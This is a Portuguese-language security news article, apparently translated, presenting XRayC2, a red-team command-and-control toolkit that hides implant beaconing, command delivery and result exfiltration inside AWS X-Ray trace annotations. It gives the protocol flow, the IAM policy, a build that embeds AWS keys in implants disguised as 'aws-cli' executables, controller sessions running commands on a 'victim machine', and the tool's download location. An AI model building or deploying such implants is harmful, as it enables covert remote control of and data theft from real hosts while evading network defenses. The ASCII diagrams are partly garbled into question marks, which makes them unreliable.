Ghost in the Cloud: Armamento do AWS X-Ray para comando e controle

Data: 2025-10-05 20:07:08

Autor: Inteligência Against Invaders

Ghost in the Cloud: Armamento do AWS X-Ray para comando e controle

Os invasores podem usar o AWS X-Ray como um canal C2 bidirecional secreto, abusando da infraestrutura legítima de rastreamento de nuvem para C2.

Resumo e Antecedentes: Antes de começarmos, se você ainda não teve a chance de ler meuConheçaC2 log post, ainda, dê uma lida.

Estou usando o MeetC2 em minhas campanhas RedTeam há meses e, com o incrível feedback da comunidade, planejei publicar um novo kit de ferramentas (XRayC2).

Sempre gosto de trabalhar na evasão de acesso inicial contra as defesas de rede tradicionais. Nisso, usamos o serviço de rastreamento de aplicativos distribuídos da AWS X-Ray Amazon como um canal de comunicação secreto. Essa técnica aproveita a infraestrutura legítima de monitoramento de nuvem para estabelecer comunicação C2 bidirecional.

A infraestrutura C2 tradicional depende do estabelecimento de conexões de rede entre servidores controlados por invasores e hosts comprometidos. Essa abordagem deixa inúmeras oportunidades de detecção, como domínios suspeitos, IPs desconhecidos, padrões de rede incomuns e anomalias de certificado SSL.

Fluxo de comunicação

Domínio —*Xray.[region].amazonaws.com*

O AWS X-Ray foi projetado para ajudar os desenvolvedores a entender o desempenho do aplicativo coletando rastreamentos. No entanto, as anotações do X-Ray podem armazenar dados arbitrários de valor-chave, e o serviço fornece APIs para gravar e consultar esses dados.

```
Phase 1: Implant Beacon (Establishing Presence)
????????????????????????????????????????????????????

Target System X-Ray Service Controller
 ? ? ?
 ? PUT /TraceSegments ? ?
 ? { ? ?
 ? trace_id: "1-67a2b...", ? ?
```

```
 ? annotations: { ? ?
 ? service_type: "health_check" ???? Beacon Marker ?
 ? instance_id: "a3f7b2c8" ???? Unique Implant ID ?
 ? platform: "darwin" ???? OS Information ?
 ? } ? ?
 ? } ? ?
 ???????????????????????????????????? ?
 ? ? GET /TraceSummaries ?
 ? ? (Poll for new beacons) ?
 ? ????????????????????????????????
 ? ? ?
 ? ? Returns beacon traces ?
 ? ????????????????????????????????
 ? ? ?
 ? ? [+] New implant: a3f7b2c8
 ? ?
```

```
Phase 2: Command Delivery (Controller ? Implant)
????????????????????????????????????????????????????????????????

Controller X-Ray Service Target System
 ? ? ?
 ? xray-c2> cmd whoami ? ?
 ? ? ?
 ? PUT /TraceSegments ? ?
 ? { ? ?
 ? trace_id: "1-67a2c...", ? ?
 ? annotations: { ? ?
 ? config_a3f7b2c8: ? ?
 ? base64(timestamp:whoami) ???? Encoded Command ?
 ? } ? ?
 ? } ? ?
 ???????????????????????????????????? ?
 ? ? ?
 ? ? GET /TraceSummaries ?
 ? ? (Implant polls) ?
 ? ????????????????????????????????
 ? ? ?
 ? ? Returns traces with ?
 ? ? config_a3f7b2c8 ?
 ? ????????????????????????????????
 ? ? ?
 ? ? [Decode: "whoami"]
 ? ? [Execute command]
```

```
Phase 3: Result Exfiltration (Implant ? Controller)
??????????????????????????????????????????????????

Target System X-Ray Service Controller
 ? ? ?
 ? [Command executed: "zero"] ? ?
 ? ? ?
 ? PUT /TraceSegments ? ?
 ? { ? ?
 ? trace_id: "1-67a2d...", ? ?
 ? annotations: { ? ?
 ? instance_id: "a3f7b2c8" ? ?
 ? execution_result: ? ?
 ? base64("zero") ???? Encoded Output ?
 ? } ? ?
 ? } ? ?
 ????????????????????????????????? ?
 ? ? ?
 ? ? GET /TraceSummaries ?
 ? ? (Poll for responses) ?
 ? ??????????????????????????????
 ? ? ?
 ? ? Returns result traces ?
 ? ??????????????????????????????
 ? ? ?
 ? ? [+] Response from a3f7b2c8:
 ? ? zero
```

O intervalo de beacon aleatório acontece entre 30 e 60 segundos. O implante implementa manualmente a autenticação personalizada do AWS SigV4. Além disso, a solicitação de API para o X-Ray deve ser assinada usando*HMAC-SHA256*com a chave de acesso e o segredo, seguindo o formato de solicitação canônico específico da Amazon, que cria tráfego legítimo da API da AWS que se encaixaria com logs de rede regulares.

Configuração da AWS

Certifique-se de usar seu locatário fictício da AWS para isso, uma vez conectado, navegue até “**IAM**” & criar um nome de usuário “***Xray***” anexar “***AWSXRayDaemonWriteAccess***” em políticas de permissões. Em seguida, crie uma política personalizada com o JSON abaixo e envie. Uma vez que o usuário é criado, podemos usar seu cliente AWS e segredo para implante e controlador.

```
{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Action": [
```

```
 "xray:PutTraceSegments",
 "xray:GetTraceSummaries",
 "xray:BatchGetTraces"
 ],
 "Resource": "*"
 }
 ]
}
```

Como correr?

Baixar XRayC2 —https://github.com/RootUp/XRayC2

```
bash-3.2$ ./build_standalone.sh
====================================
 X-Ray C2 Standalone Builder
 @RandomDhiraj
====================================

Enter AWS credentials to embed in implants:
AWS Access Key ID: [Enter your key]
AWS Secret Access Key: [Enter your key]

[*] Building macOS implant (zero dependencies)...
[+] Built: aws-cli (5.8M)

[*] Building Windows implant (zero dependencies)...
[+] Built: aws-cli.exe (5.9M)

[*] Cleaning up...

====================================
STANDALONE BUILD COMPLETE!

Zero-dependency implants ready:
  • aws-cli (macOS/Linux)
  • aws-cli.exe (Windows)

Just double-click and run!
====================================
bash-3.2$
bash-3.2$ file aws-cli
aws-cli: Mach-O 64-bit executable x86_64
bash-3.2$
bash-3.2$ file aws-cli.exe
aws-cli.exe: PE32+ executable (GUI) x86-64, for MS Windows
bash-3.2$
```

```
bash-3.2$ export AWS_ACCESS_KEY_ID="[AWS user "XRay" Key]"
bash-3.2$ export AWS_SECRET_ACCESS_KEY="[AWS user "XRay" Key]"
bash-3.2$
bash-3.2$ python3.10 controller.py
[+] AWS Account: 691455350179
[+] Region: eu-west-1

??????????????????????????????????????????????????????????????
? X-Ray C2 Controller ?
??????????????????????????????????????????????????????????????

Available Commands:
 list - List active implants
 use

 - Select implant
 cmd - Send command to selected implant
 info - Show implant details
 clear - Clear screen
 exit / quit - Exit controller

 xray-c2 (none)>
xray-c2 (none)> list
[-] No active implants
xray-c2 (none)>
```

Execute o implante na máquina vítimaaws-clientouaws-client.exeVocê verá o retorno de chamada que pode ser gerenciado a partir do controlador.

```
xray-c2 (none)>
xray-c2 (none)>
[+] New implant connected: 1e055763 (darwin)
xray-c2 (None)>
xray-c2 (none)> list

[+] Active Implants:
------------------------------------------------------------------------
ID: 1e055763
 Status: Active (last beacon 3s ago)
 First Seen: 11:04:34
 Last Seen: 11:04:34
 Beacons: 1
 OS: darwin
------------------------------------------------------------------------
```

```
xray-c2 (none)> use 1e055763
[+] Selected: 1e055763
xray-c2 (1e055763)>
xray-c2 (1e055763)> cmd hostname
[*] Sending command to 1e055763: hostname
[+] Command sent (implant will receive on next beacon)
xray-c2 (1e055763)>
[+] Response from 1e055763:
Dhirajs-MacBook-Pro-2.local

xray-c2 (1e055763)>
xray-c2 (1e055763)>
```

Prova de conceito em vídeo

[VÍDEO/IFRAME REMOVIDO]

Deixe-me sugerir a leitura de mais Dhiraj análise incrível no Medium de graça.

Sobre o autor:Pesquisador de segurança Dhiraj Mishra (@mishradhiraj)

Siga-me no Twitter:@securityaffairseLinkedineMastodonte

PierluigiPaganini

(Assuntos de Segurança–hacking,MeetC2)